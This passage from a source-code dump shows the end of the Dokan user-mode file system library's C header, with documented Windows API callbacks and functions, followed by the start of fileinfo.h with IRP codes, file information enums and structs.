DokanFileInfo);\n\n  /**\n  * \\brief GetVolumeInformation Dokan API callback\n  *\n  * Retrieves information about the file system and volume associated with the specified root directory.\n  *\n  * Neither GetVolumeInformation nor GetDiskFreeSpace\n  * save the \\ref DOKAN_FILE_INFO#Context.\n  * Before these methods are called, \\ref ZwCreateFile may not be called.\n  * (ditto \\ref CloseFile and \\ref Cleanup)\n  *\n  * VolumeName length can be anything that fit in the provided buffer.\n  * But some Windows component expect it to be no longer than 32 characters\n  * that why it is recommended to set a value under this limit.\n  *\n  * FileSystemName could be anything up to 10 characters.\n  * But Windows check few feature availability based on file system name.\n  * For this, it is recommended to set NTFS or FAT here.\n  *\n  * \\c FILE_READ_ONLY_VOLUME is automatically added to the\n  * FileSystemFlags if \\ref DOKAN_OPTION_WRITE_PROTECT was\n  * specified in DOKAN_OPTIONS when the volume was mounted.\n  *\n  * \\param VolumeNameBuffer A pointer to a buffer that receives the name of a specified volume.\n  * \\param VolumeNameSize The length of a volume name buffer.\n  * \\param VolumeSerialNumber A pointer to a variable that receives the volume serial number.\n  * \\param MaximumComponentLength A pointer to a variable that receives the maximum length.\n  * \\param FileSystemFlags A pointer to a variable that receives flags associated with the specified file system.\n  * \\param FileSystemNameBuffer A pointer to a buffer that receives the name of the file system.\n  * \\param FileSystemNameSize The length of the file system name buffer.\n  * \\param DokanFileInfo Information about the file or directory.\n  * \\return \\c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.\n  * \\see <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa364993(v=vs.85).aspx\"> GetVolumeInformation function (MSDN)</a>\n  * \\see GetDiskFreeSpace\n  */\n  NTSTATUS(DOKAN_CALLBACK *GetVolumeInformation)(LPWSTR VolumeNameBuffer,\n    DWORD VolumeNameSize,\n    LPDWORD VolumeSerialNumber,\n    LPDWORD MaximumComponentLength,\n    LPDWORD FileSystemFlags,\n    LPWSTR FileSystemNameBuffer,\n    DWORD FileSystemNameSize,\n    PDOKAN_FILE_INFO DokanFileInfo);\n\n  /**\n  * \\brief Mounted Dokan API callback\n  *\n  * Called when Dokan successfully mounts the volume.\n  *\n  * If \\ref DOKAN_OPTION_MOUNT_MANAGER is enabled and the drive letter requested is busy,\n  * the MountPoint can contain a different drive letter that the mount manager assigned us.\n  *\n  * \\param MountPoint The mount point assign to the instance.\n  * \\param DokanFileInfo Information about the file or directory.\n  * \\return \\c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.\n  * \\see Unmounted\n  */\n  NTSTATUS(DOKAN_CALLBACK *Mounted)(LPCWSTR MountPoint, PDOKAN_FILE_INFO DokanFileInfo);\n\n  /**\n  * \\brief Unmounted Dokan API callback\n  *\n  * Called when Dokan is unmounting the volume.\n  *\n  * \\param DokanFileInfo Information about the file or directory.\n  * \\return \\c STATUS_SUCCESS on success or \\c NTSTATUS appropriate to the request result.\n  * \\see Mounted\n  */\n  NTSTATUS(DOKAN_CALLBACK *Unmounted)(PDOKAN_FILE_INFO DokanFileInfo);\n\n  /**\n  * \\brief GetFileSecurity Dokan API callback\n  *\n  * Get specified information about the security of a file or directory.\n  *\n  * Return \\c STATUS_NOT_IMPLEMENTED to let dokan library build a sddl of the current process user with authenticate user rights for context menu.\n  * Return \\c STATUS_BUFFER_OVERFLOW if buffer size is too small.\n  *\n  * \\since Supported since version 0.6.0. The version must be specified in \\ref DOKAN_OPTIONS.Version.\n  * \\param FileName File path requested by the Kernel on the FileSystem.\n  * \\param SecurityInformation A SECURITY_INFORMATION value that identifies the security information being requested.\n  * \\param SecurityDescriptor A pointer to a buffer that receives a copy of the security descriptor of the requested file.\n  * \\param BufferLength Specifies the size, in bytes, of the buffer.\n  * \\param LengthNeeded A pointer to the variable that receives the number of bytes necessary to store the complete security descriptor.\n  * \\param DokanFileInfo Information about the file or directory.\n  * \\return \\c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.\n  * \\see SetFileSecurity\n  * \\see <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa446639(v=vs.85).aspx\">GetFileSecurity function (MSDN)</a>\n  */\n  NTSTATUS(DOKAN_CALLBACK *GetFileSecurity)(LPCWSTR FileName,\n    PSECURITY_INFORMATION SecurityInformation,\n    PSECURITY_DESCRIPTOR SecurityDescriptor,\n    ULONG BufferLength,\n    PULONG LengthNeeded,\n    PDOKAN_FILE_INFO DokanFileInfo);\n\n  /**\n  * \\brief SetFileSecurity Dokan API callback\n  *\n  * Sets the security of a file or directory object.\n  *\n  * \\since Supported since version 0.6.0. The version must be specified in \\ref DOKAN_OPTIONS.Version.\n  * \\param FileName File path requested by the Kernel on the FileSystem.\n  * \\param SecurityInformation Structure that identifies the contents of the security descriptor pointed by \\a SecurityDescriptor param.\n  * \\param SecurityDescriptor A pointer to a SECURITY_DESCRIPTOR structure.\n  * \\param BufferLength Specifies the size, in bytes, of the buffer.\n  * \\param DokanFileInfo Information about the file or directory.\n  * \\return \\c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.\n  * \\see GetFileSecurity\n  * \\see <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa379577(v=vs.85).aspx\">SetFileSecurity function (MSDN)</a>\n  */\n  NTSTATUS(DOKAN_CALLBACK *SetFileSecurity)(LPCWSTR FileName,\n    PSECURITY_INFORMATION SecurityInformation,\n    PSECURITY_DESCRIPTOR SecurityDescriptor,\n    ULONG BufferLength,\n    PDOKAN_FILE_INFO DokanFileInfo);\n\n  /**\n  * \\brief FindStreams Dokan API callback\n  *\n  * Retrieve all NTFS Streams informations on the file.\n  * This is only called if \\ref DOKAN_OPTION_ALT_STREAM is enabled.\n  *\n  * \\since Supported since version 0.8.0. The version must be specified in \\ref DOKAN_OPTIONS.Version.\n  * \\param FileName File path requested by the Kernel on the FileSystem.\n  * \\param FillFindStreamData Callback that has to be called with PWIN32_FIND_STREAM_DATA that contain stream information.\n  * \\param FindStreamContext Context for the event to pass to the callback FillFindStreamData.\n  * \\param DokanFileInfo Information about the file or directory.\n  * \\return \\c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.\n  */\n  NTSTATUS(DOKAN_CALLBACK *FindStreams)(LPCWSTR FileName,\n    PFillFindStreamData FillFindStreamData,\n    PVOID FindStreamContext,\n    PDOKAN_FILE_INFO DokanFileInfo);\n\n} DOKAN_OPERATIONS, *PDOKAN_OPERATIONS;\n\n// clang-format on\n\n/**\n * \\defgroup DokanMainResult DokanMainResult\n * \\brief \\ref DokanMain \\ref DokanCreateFileSystem returns error codes\n */\n/** @{ */\n\n/** Dokan mount succeed. */\n#define DOKAN_SUCCESS 0\n/** Dokan mount error. */\n#define DOKAN_ERROR -1\n/** Dokan mount failed - Bad drive letter. */\n#define DOKAN_DRIVE_LETTER_ERROR -2\n/** Dokan mount failed - Can't install driver.  */\n#define DOKAN_DRIVER_INSTALL_ERROR -3\n/** Dokan mount failed - Driver answer that something is wrong. */\n#define DOKAN_START_ERROR -4\n/**\n * Dokan mount failed.\n * Can't assign a drive letter or mount point.\n * Probably already used by another volume.\n */\n#define DOKAN_MOUNT_ERROR -5\n/**\n * Dokan mount failed.\n * Mount point is invalid.\n */\n#define DOKAN_MOUNT_POINT_ERROR -6\n/**\n * Dokan mount failed.\n * Requested an incompatible version.\n */\n#define DOKAN_VERSION_ERROR -7\n\n/** @} */\n\n/**\n * \\defgroup Dokan Dokan\n */\n/** @{ */\n\n/**\n * \\brief Initialize all required Dokan internal resources.\n *\n * This needs to be called only once before trying to use \\ref DokanMain or \\ref DokanCreateFileSystem for the first time.\n * Otherwise both will fail and raise an exception.\n */\nVOID DOKANAPI DokanInit();\n\n/**\n * \\brief Release all allocated resources by \\ref DokanInit when they are no longer needed.\n *\n * This should be called when the application no longer expects to create a new FileSystem with\n * \\ref DokanMain or \\ref DokanCreateFileSystem and after all devices are unmount.\n */\nVOID DOKANAPI DokanShutdown();\n\n/**\n * \\brief Mount a new Dokan Volume.\n *\n * This function block until the device is unmounted.\n * If the mount fails, it will directly return a \\ref DokanMainResult error.\n * \n * See \\ref DokanCreateFileSystem to create mount Dokan Volume asynchronously.\n *\n * \\param DokanOptions a \\ref DOKAN_OPTIONS that describe the mount.\n * \\param DokanOperations Instance of \\ref DOKAN_OPERATIONS that will be called for each request made by the kernel.\n * \\return \\ref DokanMainResult status.\n */\nint DOKANAPI DokanMain(PDOKAN_OPTIONS DokanOptions,\n                       PDOKAN_OPERATIONS DokanOperations);\n\n/**\n * \\brief Mount a new Dokan Volume.\n *\n * It is mandatory to have called \\ref DokanInit previously to use this API.\n * \n * This function returns directly on device mount or on failure.\n * See \\ref DokanMainResult for possible errors.\n * \n * \\ref DokanWaitForFileSystemClosed can be used to wait until the device is unmount.\n *\n * \\param DokanOptions a \\ref DOKAN_OPTIONS that describe the mount.\n * \\param DokanOperations Instance of \\ref DOKAN_OPERATIONS that will be called for each request made by the kernel.\n * \\param DokanInstance Dokan mount instance context that can be used for related instance calls like \\ref DokanIsFileSystemRunning .\n * \\return \\ref DokanMainResult status.\n */\nint DOKANAPI DokanCreateFileSystem(_In_ PDOKAN_OPTIONS DokanOptions,\n                                   _In_ PDOKAN_OPERATIONS DokanOperations,\n                                   _Out_ DOKAN_HANDLE *DokanInstance);\n\n/**\n * \\brief Check if the FileSystem is still running or not.\n *\n * \\param DokanInstance The dokan mount context created by \\ref DokanCreateFileSystem .\n * \\return Whether the FileSystem is still running or not.\n */\nBOOL DOKANAPI DokanIsFileSystemRunning(_In_ DOKAN_HANDLE DokanInstance);\n\n/**\n * \\brief Wait until the FileSystem is unmount.\n *\n * \\param DokanInstance The dokan mount context created by \\ref DokanCreateFileSystem .\n * \\return See <a href=\"https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject\">WaitForSingleObject</a> for a description of return values.\n */\nDWORD DOKANAPI DokanWaitForFileSystemClosed(_In_ DOKAN_HANDLE DokanInstance,\n                                            _In_ DWORD dwMilliseconds);\n\n/**\n * \\brief Unmount the Dokan instance.\n * \n * Unmount and wait until all resources of the \\c DokanInstance are released.\n * \n * \\param DokanInstance The dokan mount context created by \\ref DokanCreateFileSystem .\n */\nVOID DOKANAPI DokanCloseHandle(_In_ DOKAN_HANDLE DokanInstance);\n\n/**\n * \\brief Unmount a Dokan device from a driver letter.\n *\n * \\param DriveLetter Dokan driver letter to unmount.\n * \\return \\c TRUE if device was unmounted or \\c FALSE in case of failure or device not found.\n */\nBOOL DOKANAPI DokanUnmount(WCHAR DriveLetter);\n\n/**\n * \\brief Unmount a Dokan device from a mount point\n *\n * \\param MountPoint Mount point to unmount (\"Z\", \"Z:\", \"Z:\\\", \"Z:\\MyMountPoint\").\n * \\return \\c TRUE if device was unmounted or \\c FALSE in case of failure or device not found.\n */\nBOOL DOKANAPI DokanRemoveMountPoint(LPCWSTR MountPoint);\n\n/**\n * \\brief Checks whether Name matches Expression\n *\n * Behave like \\c FsRtlIsNameInExpression routine from <a href=\"https://msdn.microsoft.com/en-us/library/ff546850(v=VS.85).aspx\">Microsoft</a>\\n\n * \\c * (asterisk) Matches zero or more characters.\\n\n * <tt>?</tt> (question mark) Matches a single character.\\n\n * \\c DOS_DOT (\\c \" quotation mark) Matches either a period or zero characters beyond the name string.\\n\n * \\c DOS_QM (\\c > greater than) Matches any single character or, upon encountering a period or end\n *        of name string, advances the expression to the end of the set of\n *        contiguous DOS_QMs.\\n\n * \\c DOS_STAR (\\c < less than) Matches zero or more characters until encountering and matching\n *          the final \\c . in the name.\n *\n * \\param Expression Expression can contain any of the above characters.\n * \\param Name Name to check\n * \\param IgnoreCase Case sensitive or not\n * \\return result if name matches the expression\n */\nBOOL DOKANAPI DokanIsNameInExpression(LPCWSTR Expression, LPCWSTR Name,\n                                      BOOL IgnoreCase);\n\n/**\n * \\brief Get the version of Dokan.\n * The returned ULONG is the version number without the dots.\n * \\return The version of Dokan\n */\nULONG DOKANAPI DokanVersion();\n\n/**\n * \\brief Get the version of the Dokan driver.\n * The returned ULONG is the version number without the dots.\n * \\return The version of Dokan driver.\n */\nULONG DOKANAPI DokanDriverVersion();\n\n/**\n * \\brief Extends the timeout of the current IO operation in driver.\n *\n * \\param Timeout Extended time in milliseconds requested.\n * \\param DokanFileInfo \\ref DOKAN_FILE_INFO of the operation to extend.\n * \\return If the operation was successful.\n */\nBOOL DOKANAPI DokanResetTimeout(ULONG Timeout, PDOKAN_FILE_INFO DokanFileInfo);\n\n/**\n * \\brief Get the handle to Access Token.\n *\n * This method needs be called in \\ref DOKAN_OPERATIONS.ZwCreateFile callback.\n * The caller must call <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms724211(v=vs.85).aspx\">CloseHandle</a>\n * for the returned handle.\n *\n * \\param DokanFileInfo \\ref DOKAN_FILE_INFO of the operation to extend.\n * \\return A handle to the account token for the user on whose behalf the code is running.\n */\nHANDLE DOKANAPI DokanOpenRequestorToken(PDOKAN_FILE_INFO DokanFileInfo);\n\n/**\n * \\brief Get active Dokan mount points.\n *\n * Returned array need to be released by calling \\ref DokanReleaseMountPointList\n *\n * \\param uncOnly Get only instances that have UNC Name.\n * \\param nbRead Number of instances successfully retrieved.\n * \\return Allocate array of DOKAN_MOUNT_POINT_INFO.\n */\nPDOKAN_MOUNT_POINT_INFO DOKANAPI DokanGetMountPointList(BOOL uncOnly, PULONG nbRead);\n\n/**\n * \\brief Release Mount point list resources from \\ref DokanGetMountPointList.\n *\n * After \\ref DokanGetMountPointList call you will receive a dynamically allocated array of DOKAN_MOUNT_POINT_INFO.\n * This array needs to be released when no longer needed by calling this function.\n *\n * \\param list Allocated array of DOKAN_MOUNT_POINT_INFO from \\ref DokanGetMountPointList.\n * \\return Nothing.\n */\nVOID DOKANAPI DokanReleaseMountPointList(PDOKAN_MOUNT_POINT_INFO list);\n\n/**\n * \\brief Convert \\ref DOKAN_OPERATIONS.ZwCreateFile parameters to <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx\">CreateFile</a> parameters.\n *\n * Dokan Kernel forward the DesiredAccess directly from the IRP_MJ_CREATE.\n * This DesiredAccess has been converted from generic rights (user CreateFile request) to standard rights and will be converted back here.\n * https://msdn.microsoft.com/windows/hardware/drivers/ifs/access-mask\n *\n * \\param DesiredAccess DesiredAccess from \\ref DOKAN_OPERATIONS.ZwCreateFile.\n * \\param FileAttributes FileAttributes from \\ref DOKAN_OPERATIONS.ZwCreateFile.\n * \\param CreateOptions CreateOptions from \\ref DOKAN_OPERATIONS.ZwCreateFile.\n * \\param CreateDisposition CreateDisposition from \\ref DOKAN_OPERATIONS.ZwCreateFile.\n * \\param outDesiredAccess New <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx\">CreateFile</a> dwDesiredAccess.\n * \\param outFileAttributesAndFlags New <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx\">CreateFile</a> dwFlagsAndAttributes.\n * \\param outCreationDisposition New <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx\">CreateFile</a> dwCreationDisposition.\n * \\see <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx\">CreateFile function (MSDN)</a>\n */\nVOID DOKANAPI DokanMapKernelToUserCreateFileFlags(\n    ACCESS_MASK DesiredAccess, ULONG FileAttributes, ULONG CreateOptions,\n    ULONG CreateDisposition, ACCESS_MASK *outDesiredAccess,\n    DWORD *outFileAttributesAndFlags, DWORD *outCreationDisposition);\n\n/**\n * \\defgroup DokanNotify Dokan Notify\n * \\brief Dokan User FS file-change notification\n *\n * The application implementing the user file system can notify\n * the Dokan kernel driver of external file- and directory-changes.\n *\n * For example, the mirror application can notify the driver about\n * changes made in the mirrored directory so that those changes will\n * be automatically reflected in the implemented mirror file system.\n *\n * This requires the FilePath passed to the respective DokanNotify*-functions\n * to include the absolute path of the changed file including the drive-letter\n * and the path to the mount point, e.g. \"C:\\Dokan\\ChangedFile.txt\".\n *\n * These functions SHOULD NOT be called from within the implemented\n * file system and thus be independent of any Dokan file system operation.\n * @{\n */\n\n/**\n * \\brief Notify dokan that a file or a directory has been created.\n *\n * \\param DokanInstance The dokan mount context created by \\ref DokanCreateFileSystem .\n * \\param FilePath Absolute path to the file or directory, including the mount-point of the file system.\n * \\param IsDirectory Indicates if the path is a directory.\n * \\return \\c TRUE if notification succeeded.\n */\nBOOL DOKANAPI DokanNotifyCreate(_In_ DOKAN_HANDLE DokanInstance,\n                                _In_ LPCWSTR FilePath, _In_ BOOL IsDirectory);\n\n/**\n * \\brief Notify dokan that a file or a directory has been deleted.\n *\n * \\param DokanInstance The dokan mount context created by \\ref DokanCreateFileSystem .\n * \\param FilePath Absolute path to the file or directory, including the mount-point of the file system.\n * \\param IsDirectory Indicates if the path was a directory.\n * \\return \\c TRUE if notification succeeded.\n */\nBOOL DOKANAPI DokanNotifyDelete(_In_ DOKAN_HANDLE DokanInstance,\n                                _In_ LPCWSTR FilePath, _In_ BOOL IsDirectory);\n\n/**\n * \\brief Notify dokan that file or directory attributes have changed.\n *\n * \\param DokanInstance The dokan mount context created by \\ref DokanCreateFileSystem .\n * \\param FilePath Absolute path to the file or directory, including the mount-point of the file system.\n * \\return \\c TRUE if notification succeeded.\n */\nBOOL DOKANAPI DokanNotifyUpdate(_In_ DOKAN_HANDLE DokanInstance,\n                                _In_ LPCWSTR FilePath);\n\n/**\n * \\brief Notify dokan that file or directory extended attributes have changed.\n *\n * \\param DokanInstance The dokan mount context created by \\ref DokanCreateFileSystem .\n * \\param FilePath Absolute path to the file or directory, including the mount-point of the file system.\n * \\return \\c TRUE if notification succeeded.\n */\nBOOL DOKANAPI DokanNotifyXAttrUpdate(_In_ DOKAN_HANDLE DokanInstance,\n                                     _In_ LPCWSTR FilePath);\n\n/**\n * \\brief Notify dokan that a file or a directory has been renamed. This method\n *  supports in-place rename for file/directory within the same parent.\n *\n * \\param DokanInstance The dokan mount context created by \\ref DokanCreateFileSystem .\n * \\param OldPath Old, absolute path to the file or directory, including the mount-point of the file system.\n * \\param NewPath New, absolute path to the file or directory, including the mount-point of the file system.\n * \\param IsDirectory Indicates if the path is a directory.\n * \\param IsInSameDirectory Indicates if the file or directory have the same parent directory.\n * \\return \\c TRUE if notification succeeded.\n */\nBOOL DOKANAPI DokanNotifyRename(_In_ DOKAN_HANDLE DokanInstance,\n                                _In_ LPCWSTR OldPath, _In_ LPCWSTR NewPath,\n                                _In_ BOOL IsDirectory,\n                                _In_ BOOL IsInSameDirectory);\n\n/**@}*/\n\n/**\n * \\brief Convert WIN32 error to NTSTATUS\n *\n * https://support.microsoft.com/en-us/kb/113996\n *\n * \\param Error Win32 Error to convert\n * \\return NTSTATUS associate to the ERROR.\n */\nNTSTATUS DOKANAPI DokanNtStatusFromWin32(DWORD Error);\n\n/** @} */\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif // DOKAN_H_\n"
  },
  {
    "path": "includes/fileinfo.h",
    "content": "/*\n  Dokan : user-mode file system library for Windows\n\n  Copyright (C) 2015 - 2019 Adrien J. <liryna.stark@gmail.com> and Maxime C. <maxime@islog.com>\n  Copyright (C) 2007 - 2011 Hiroki Asakawa <info@dokan-dev.net>\n\n  http://dokan-dev.github.io\n\nThis program is free software; you can redistribute it and/or modify it under\nthe terms of the GNU Lesser General Public License as published by the Free\nSoftware Foundation; either version 3 of the License, or (at your option) any\nlater version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY\nWARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU Lesser General Public License along\nwith this program. If not, see <http://www.gnu.org/licenses/>.\n*/\n\n#ifndef FILEINFO_H_\n#define FILEINFO_H_\n\n#define IRP_MJ_CREATE 0x00\n#define IRP_MJ_CREATE_NAMED_PIPE 0x01\n#define IRP_MJ_CLOSE 0x02\n#define IRP_MJ_READ 0x03\n#define IRP_MJ_WRITE 0x04\n#define IRP_MJ_QUERY_INFORMATION 0x05\n#define IRP_MJ_SET_INFORMATION 0x06\n#define IRP_MJ_QUERY_EA 0x07\n#define IRP_MJ_SET_EA 0x08\n#define IRP_MJ_FLUSH_BUFFERS 0x09\n#define IRP_MJ_QUERY_VOLUME_INFORMATION 0x0a\n#define IRP_MJ_SET_VOLUME_INFORMATION 0x0b\n#define IRP_MJ_DIRECTORY_CONTROL 0x0c\n#define IRP_MJ_FILE_SYSTEM_CONTROL 0x0d\n#define IRP_MJ_DEVICE_CONTROL 0x0e\n#define IRP_MJ_INTERNAL_DEVICE_CONTROL 0x0f\n#define IRP_MJ_SHUTDOWN 0x10\n#define IRP_MJ_LOCK_CONTROL 0x11\n#define IRP_MJ_CLEANUP 0x12\n#define IRP_MJ_CREATE_MAILSLOT 0x13\n#define IRP_MJ_QUERY_SECURITY 0x14\n#define IRP_MJ_SET_SECURITY 0x15\n#define IRP_MJ_POWER 0x16\n#define IRP_MJ_SYSTEM_CONTROL 0x17\n#define IRP_MJ_DEVICE_CHANGE 0x18\n#define IRP_MJ_QUERY_QUOTA 0x19\n#define IRP_MJ_SET_QUOTA 0x1a\n#define IRP_MJ_PNP 0x1b\n#define IRP_MJ_PNP_POWER IRP_MJ_PNP\n#define IRP_MJ_MAXIMUM_FUNCTION 0x1b\n\n#define IRP_MN_LOCK 0x01\n#define IRP_MN_UNLOCK_SINGLE 0x02\n#define IRP_MN_UNLOCK_ALL 0x03\n#define IRP_MN_UNLOCK_ALL_BY_KEY 0x04\n\ntypedef enum _FILE_INFORMATION_CLASS {\n\tFileDirectoryInformation = 1,\n\tFileFullDirectoryInformation,            // 2\n\tFileBothDirectoryInformation,            // 3\n\tFileBasicInformation,                    // 4\n\tFileStandardInformation,                 // 5\n\tFileInternalInformation,                 // 6\n\tFileEaInformation,                       // 7\n\tFileAccessInformation,                   // 8\n\tFileNameInformation,                     // 9\n\tFileRenameInformation,                   // 10\n\tFileLinkInformation,                     // 11\n\tFileNamesInformation,                    // 12\n\tFileDispositionInformation,              // 13\n\tFilePositionInformation,                 // 14\n\tFileFullEaInformation,                   // 15\n\tFileModeInformation,                     // 16\n\tFileAlignmentInformation,                // 17\n\tFileAllInformation,                      // 18\n\tFileAllocationInformation,               // 19\n\tFileEndOfFileInformation,                // 20\n\tFileAlternateNameInformation,            // 21\n\tFileStreamInformation,                   // 22\n\tFilePipeInformation,                     // 23\n\tFilePipeLocalInformation,                // 24\n\tFilePipeRemoteInformation,               // 25\n\tFileMailslotQueryInformation,            // 26\n\tFileMailslotSetInformation,              // 27\n\tFileCompressionInformation,              // 28\n\tFileObjectIdInformation,                 // 29\n\tFileCompletionInformation,               // 30\n\tFileMoveClusterInformation,              // 31\n\tFileQuotaInformation,                    // 32\n\tFileReparsePointInformation,             // 33\n\tFileNetworkOpenInformation,              // 34\n\tFileAttributeTagInformation,             // 35\n\tFileTrackingInformation,                 // 36\n\tFileIdBothDirectoryInformation,          // 37\n\tFileIdFullDirectoryInformation,          // 38\n\tFileValidDataLengthInformation,          // 39\n\tFileShortNameInformation,                // 40\n\tFileIoCompletionNotificationInformation, // 41\n\tFileIoStatusBlockRangeInformation,       // 42\n\tFileIoPriorityHintInformation,           // 43\n\tFileSfioReserveInformation,              // 44\n\tFileSfioVolumeInformation,               // 45\n\tFileHardLinkInformation,                 // 46\n\tFileProcessIdsUsingFileInformation,      // 47\n\tFileNormalizedNameInformation,           // 48\n\tFileNetworkPhysicalNameInformation,      // 49\n\tFileIdGlobalTxDirectoryInformation,      // 50\n\tFileIsRemoteDeviceInformation,           // 51\n\tFileUnusedInformation,                   // 52\n\tFileNumaNodeInformation,                 // 53\n\tFileStandardLinkInformation,             // 54\n\tFileRemoteProtocolInformation,           // 55\n\n\t//\n\t//  These are special versions of these operations (defined earlier)\n\t//  which can be used by kernel mode drivers only to bypass security\n\t//  access checks for Rename and HardLink operations.  These operations\n\t//  are only recognized by the IOManager, a file system should never\n\t//  receive these.\n\t//\n\n\tFileRenameInformationBypassAccessCheck,  // 56\n\tFileLinkInformationBypassAccessCheck,    // 57\n\n\t//\n\t// End of special information classes reserved for IOManager.\n\t//\n\n\tFileVolumeNameInformation,               // 58\n\tFileIdInformation,                       // 59\n\tFileIdExtdDirectoryInformation,          // 60\n\tFileReplaceCompletionInformation,        // 61\n\tFileHardLinkFullIdInformation,           // 62\n\tFileIdExtdBothDirectoryInformation,      // 63\n\tFileDispositionInformationEx,            // 64\n\tFileRenameInformationEx,                 // 65\n\tFileRenameInformationExBypassAccessCheck, // 66\n\tFileDesiredStorageClassInformation,      // 67\n\tFileStatInformation,                     // 68\n\tFileMemoryPartitionInformation,          // 69\n\n\tFileMaximumInformation\n} FILE_INFORMATION_CLASS,\n    *PFILE_INFORMATION_CLASS;\n\ntypedef enum _FSINFOCLASS {\n  FileFsVolumeInformation = 1,\n  FileFsLabelInformation,       // 2\n  FileFsSizeInformation,        // 3\n  FileFsDeviceInformation,      // 4\n  FileFsAttributeInformation,   // 5\n  FileFsControlInformation,     // 6\n  FileFsFullSizeInformation,    // 7\n  FileFsObjectIdInformation,    // 8\n  FileFsDriverPathInformation,  // 9\n  FileFsVolumeFlagsInformation, // 10\n  FileFsMaximumInformation\n} FS_INFORMATION_CLASS,\n    *PFS_INFORMATION_CLASS;\n\n/**\n * \\struct FILE_ALIGNMENT_INFORMATION\n * \\brief Used as an argument to the ZwQueryInformationFile routine.\n *\n * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileAllInformation\n */\ntypedef struct _FILE_ALIGNMENT_INFORMATION {\n  /**\n  * The buffer alignment required by the underlying device. For a list of system-defined values, see DEVICE_OBJECT.\n  * The value must be one of the FILE_XXX_ALIGNMENT values defined in Wdm.h.\n  * For more information, see DEVICE_OBJECT and Initializing a Device Object.\n  */\n  ULONG AlignmentRequirement;\n} FILE_ALIGNMENT_INFORMATION, *PFILE_ALIGNMENT_INFORMATION;\n\n/**\n * \\struct FILE_NAME_INFORMATION\n * \\brief Used as argument to the ZwQueryInformationFile and ZwSetInformationFile routines.\n *\n * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileNameInformation\n */\ntypedef struct _FILE_NAME_INFORMATION {\n  /**\n  * Specifies the length, in bytes, of the file name string.\n  */\n  ULONG FileNameLength;\n  /**\n  * Specifies the first character of the file name string. This is followed in memory by the remainder of the string.\n  */\n  WCHAR FileName[1];\n} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION;\n\n/**\n * \\struct FILE_ATTRIBUTE_TAG_INFORMATION\n * \\brief Used as an argument to ZwQueryInformationFile.\n *\n * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileAttributeTagInformation\n */\ntypedef struct _FILE_ATTRIBUTE_TAG_INFORMATION {\n  /**\n  * Specifies one or more FILE_ATTRIBUTE_XXX flags.\n  * For descriptions of these flags, see the documentation of the GetFileAttributes function in the Microsoft Windows SDK.\n  */\n  ULONG FileAttributes;\n  /**\n  * Specifies the reparse point tag. If the FileAttributes member includes the FILE_ATTRIBUTE_REPARSE_POINT attribute flag,\n  * this member specifies the reparse tag. Otherwise, this member is unused.\n  */\n  ULONG ReparseTag;\n} FILE_ATTRIBUTE_TAG_INFORMATION, *PFILE_ATTRIBUTE_TAG_INFORMATION;\n\n/**\n * \\struct FILE_DISPOSITION_INFORMATION\n * \\brief Used as an argument to the ZwSetInformationFile routine.\n *\n * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileDispositionInformation\n */\ntypedef struct _FILE_DISPOSITION_INFORMATION {\n  /**\n  * Indicates whether the operating system file should delete the file when the file is closed.\n  * Set this member to TRUE to delete the file when it is closed.\n  * Otherwise, set to FALSE. Setting this member to FALSE has no effect if the handle was opened with FILE_FLAG_DELETE_ON_CLOSE.\n  */\n  BOOLEAN DeleteFile;\n} FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION;\n\n#define FILE_DISPOSITION_DO_NOT_DELETE 0x00000000 // Specifies the system should not delete a file.\n#define FILE_DISPOSITION_DELETE 0x00000001 // Specifies the system should delete a file.\n#define FILE_DISPOSITION_POSIX_SEMANTICS  0x00000002 // Specifies the system should perform a POSIX - style delete.\n#define FILE_DISPOSITION_FORCE_IMAGE_SECTION_CHECK  0x00000004 // Specifies the system should force an image section check.\n#define FILE_DISPOSITION_ON_CLOSE 0x00000008 // Specifies if the system sets or clears the on - close state.\n\n/**\n * \\struct FILE_DISPOSITION_INFORMATION_EX\n * \\brief Used as an argument to the ZwSetInformationFile routine.\n *\n * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileDispositionInformationEx\n */\ntypedef struct _FILE_DISPOSITION_INFORMATION_EX {\n  /**\n   * Specifies what action(s) the system should take with a specific file while deleting.\n   *\n   *    \\li \\c FILE_DISPOSITION_DO_NOT_DELETE Specifies the system should not delete a file.\n   *    \\li \\c FILE_DISPOSITION_DELETE Specifies the system should delete a file.\n   *    \\li \\c FILE_DISPOSITION_POSIX_SEMANTICS Specifies the system should perform a POSIX-style delete.\n   *    \\li \\c FILE_DISPOSITION_FORCE_IMAGE_SECTION_CHECK Specifies the system should force an image section check.\n   *    \\li \\c FILE_DISPOSITION_ON_CLOSE Specifies if the system sets or clears the on-close state.\n   */\n  ULONG Flags;\n} FILE_DISPOSITION_INFORMATION_EX, *PFILE_DISPOSITION_INFORMATION_EX;\n\n/**\n * \\struct FILE_END_OF_FILE_INFORMATION\n * \\brief Used as an argument to the ZwSetInformationFile routine.\n *\n * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileEndOfFileInformation\n */\ntypedef struct _FILE_END_OF_FILE_INFORMATION {\n  /**\n  